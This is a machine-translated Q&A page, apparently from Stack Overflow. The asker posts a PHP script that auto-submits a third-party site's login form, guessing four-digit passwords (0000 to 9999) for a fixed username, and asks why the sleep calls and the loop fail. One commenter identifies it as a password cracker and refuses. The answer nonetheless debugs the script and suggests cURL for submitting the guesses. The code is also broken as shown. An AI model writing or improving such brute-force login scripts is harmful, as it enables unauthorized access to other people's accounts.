2012-05-27 28 views
-2

我有2個問題。繼承人我的腳本.....在PHP中 - 睡眠(); &usleep();無法正常工作。此外,無法登錄循環

<?php 

    echo "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">"; 
echo "<html xmlns=\"http://www.w3.org/1999/xhtml\" lang=\"en\" xml:lang=\"en\">"; 
echo "<head>"; 
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" />"; 
echo "<link href=\"/library/skin/tool_base.css\" type=\"text/css\" rel=\"stylesheet\" media=\"all\" />"; 
echo "<link href=\"/library/skin/default/tool.css\" type=\"text/css\" rel=\"stylesheet\" media=\"all\" />"; 
echo "<meta http-equiv=\"Content-Style-Type\" content=\"text/css\" />"; 
echo "<title>Etudes</title>"; 
echo "<script type=\"text/javascript\" language=\"JavaScript\" src=\"/library/js/headscripts.js\"></script>"; 
echo "</head>"; 
echo "<body>"; 

echo "<script type=\"text/javascript\" language=\"JavaScript\">"; 
echo "focus_path = [\"eid\"];"; 
echo "</script>"; 

echo "<form id=\"form\" method=\"post\" target='_blank' action=\"www.xxxxx.com" enctype=\"application/x-www-form-urlencoded\">"; 
echo "<table border=\"0\" class=\"loginform\" summary=\"layout\">";   
echo "<label for=\"eid\">User id</label>";          
echo "<input name=\"eid\" id=\"eid\" type=\"text\" value=\"USERNAME\"/>";          
echo "<label for=\"pw\">Password</label>"; 

$pass1 = "0"; 
$pass2 = "0"; 
$pass3 = "0"; 
$pass4 = "0"; 

set_time_limit(0); 

for($i = 0; $i < 2; $i++) 
{ 
$pass = $pass1.$pass2.$pass3.$pass4; 

echo "$pass"; 

echo "<input name=\"pw\" id=\"pw\" type=\"password\" value=\"$pass\"/>"; 

echo "<script language=\"Javascript\" type=\"text/javascript\">"; 

echo "document.forms[\"form\"].submit();"; 

echo "</script>"; 

    $pass4 = $pass4 + 1; 

if($pass4 == 10) 
{ 
    $pass3 = $pass3 + 1; 
    $pass4 = 0; 
} 
if($pass3 == 10) 
{ 
    $pass2 = $pass2 + 1; 
    $pass3 = 0; 
} 
if($pass2 == 10) 
{ 
    $pass1 = $pass1 + 1; 
    $pass2 = 0; 
} 
if($pass1 == 10) 
{ 
    echo "Fail"; 
    break; 
} 
    usleep(10000000); 
    flush(); 
    ob_flush; 
} 

?>      
</table>       
</form>     

</table> 

</body> 
</html> 

////////////////////////////////// ///////////////////////////////

問題1)我試過usleep()和sleep(),它開始工作幾次,執行 文件,然後延遲時間,然後執行,然後延遲等。但在第三次後,它沒有工作。

問題2)如果我登錄到「www.xxx.com」未經環,它工作得很好,但是當我把它放在一個循環, 如(比方說,密碼是0002): 登錄:USERNAME 密碼:0000

無效登錄!

登錄:USERNAME 密碼:0001

無效登錄!

登錄:USERNAME 密碼:0002

無效登錄!

..still給我一個無效的登錄!任何幫助將不勝感激:)謝謝。

+0

難道你不是問這個,然後刪除它嗎? – Ryan

+0

「排序」,可怕的編輯哈哈。 –

+0

這不是編寫密碼破解程序的可行方法。不,我們不會幫你寫一個。 – duskwuff

回答

1

問題1)我認爲您已達到最大執行時間,這是PHP對腳本強加的可配置限制。 PHP腳本通常不是長期存在的程序。他們被認爲是快速執行,一個網頁瀏覽,一個腳本,所以作爲一種安全措施(防止拒絕服務攻擊),生存時間超過60秒的腳本將被簡單地中止。檢查你的php.ini的配置值。

問題2)您是否註釋掉腳本的「提交」部分並檢查了輸出? 我認爲你的程序只打印一次表格的開頭,然後嘗試打印其餘的9999次。此外,它只會第一次工作,因爲如果您提交表單,瀏覽器將簡單地離開您的頁面(和您的腳本),並且無法再次提交。

您應該使用CURL獲得外部站點的響應。